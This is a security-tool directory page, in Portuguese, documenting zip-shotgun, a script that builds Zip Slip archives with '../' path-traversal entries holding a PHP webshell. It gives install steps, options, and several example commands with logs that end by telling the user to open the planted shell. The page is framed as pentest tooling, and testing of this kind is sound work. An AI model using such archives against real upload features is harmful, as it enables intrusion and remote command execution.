Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
zip-shotgun — Script utilitário para testar a funcionalidade de upload de arquivos zip (e possível extração de arquivos zip) quanto a vulnerabilidades (também conhecido como Zip Slip) | Kitploit
Ferramentas/GitHubGitHub/jpiechowka/zip-shotgun
Geração de PayloadsAnálise de VulnerabilidadesExploração de Aplicações WebTestes de Penetração
GitHubjpiechowka/zip-shotgun

zip-shotgun

Script utilitário para testar a funcionalidade de upload de arquivos zip (e possível extração de arquivos zip) quanto a vulnerabilidades (também conhecido como Zip Slip)

Ver Repositório
325há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ZIP Shotgun

Script utilitário para testar a funcionalidade de upload de arquivos zip (e possível extração de arquivos zip) quanto a vulnerabilidades (também conhecido como Zip Slip). A ideia para este script vem deste post no Silent Signal Techblog - Compressed File Upload And Command Execution e do OWASP - Test Upload of Malicious Files

O Snyk.io tem um relatório sobre como isso funciona: Zip Slip vulnerability e um repositório GitHub com bibliotecas vulneráveis em diferentes linguagens: Snyk.io Zip Slip github repo

Há também um ótimo vídeo do LiveOverflow esclarecendo as vulnerabilidades Zip Slip e Zipperdown: Critical .zip vulnerabilities? - Zip Slip and ZipperDown

Este script criará um arquivo que contém arquivos com "../" no nome. Ao extrair, isso pode fazer com que os arquivos sejam extraídos para diretórios anteriores. Pode permitir que um atacante extraia shells para diretórios que podem ser acessados pelo navegador da web.

A webshell padrão é a webshell PHP do wwwolf e todo o crédito vai para WhiteWinterWolf. A fonte está disponível AQUI

Instalação

  1. Instale usando pip do Python (Python 3 necessário)

    pip3 install zip-shotgun --upgrade

  • Clone o repositório git e instale

    git clone https://github.com/jpiechowka/zip-shotgun.git

    Execute a partir do diretório raiz do repositório clonado (onde o arquivo setup.py está localizado)

    pip3 install . --upgrade

    • Uso e opções

    root@kitploit:~
    Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

Options:
  --version                       Show the version and exit.
  -c, --directories-count INTEGER
                                  Count of how many directories to go back
                                  inside the zip file (e.g 3 means that 3
                                  files will be added to the zip: shell.php,
                                  ../shell.php and ../../shell.php where
                                  shell.php is the name of the shell you
                                  provided or randomly generated value
                                  [default: 16]
  -n, --shell-name TEXT           Name of the shell inside the generated zip
                                  file (e.g shell). If not provided it will be
                                  randomly generated. Cannot have whitespaces
  -f, --shell-file-path PATH      A file that contains code for the shell. If
                                  this option is not provided wwwolf
                                  (https://github.com/WhiteWinterWolf/wwwolf-
                                  php-webshell) php shell will be added
                                  instead. If name is provided it will be
                                  added to the zip with the provided name or
                                  if not provided the name will be randomly
                                  generated.
  --compress                      Enable compression. If this flag is set
                                  archive will be compressed using DEFALTE
                                  algorithm with compression level of 9. By
                                  default there is no compression applied.
  -h, --help                      Show this message and exit.

    Exemplos

    1. Usando todas as opções padrão

      zip-shotgun archive.zip

      Parte da saída do script

      root@kitploit:~
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL

    2. Usando opções padrão e ativando a compressão para o arquivo

      zip-shotgun --compress archive.zip

      Parte da saída do script

      root@kitploit:~
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL

    3. Usando opções padrão, mas alterando o número de diretórios para retroceder no arquivo para 3

      zip-shotgun --directories-count 3 archive.zip

      zip-shotgun -c 3 archive.zip

      O script escreverá 3 arquivos no total no arquivo

      Parte da saída do script

      root@kitploit:~
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL

    4. Usando opções padrão, mas fornecendo o nome do shell dentro do arquivo e ativando a compressão

      O nome do shell não pode conter espaços em branco

      zip-shotgun --shell-name custom-name --compress archive.zip

      zip-shotgun -n custom-name --compress archive.zip

      O nome dos arquivos de shell dentro do arquivo será definido como o fornecido pelo usuário.

      Parte da saída do script

      root@kitploit:~
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
...
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL

    5. Forneça um arquivo de shell personalizado, mas use um nome aleatório dentro do arquivo. Defina a contagem de diretórios para 3

      zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip

      zip-shotgun -c 3 -f ./custom-shell.php archive.zip

      O código do shell será extraído do arquivo fornecido pelo usuário. Os nomes dentro do arquivo serão gerados aleatoriamente.

      Parte da saída do script

      root@kitploit:~
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL

    6. Forneça um arquivo de shell personalizado e defina o nome do shell para salvar dentro do arquivo. Defina a contagem de diretórios para 3 e use compressão

      zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip

      zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip

      O código do shell será extraído do arquivo fornecido pelo usuário. Os nomes dentro do arquivo serão definidos para o nome fornecido pelo usuário.

      Parte da saída do script

      root@kitploit:~
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
    Baixar ferramenta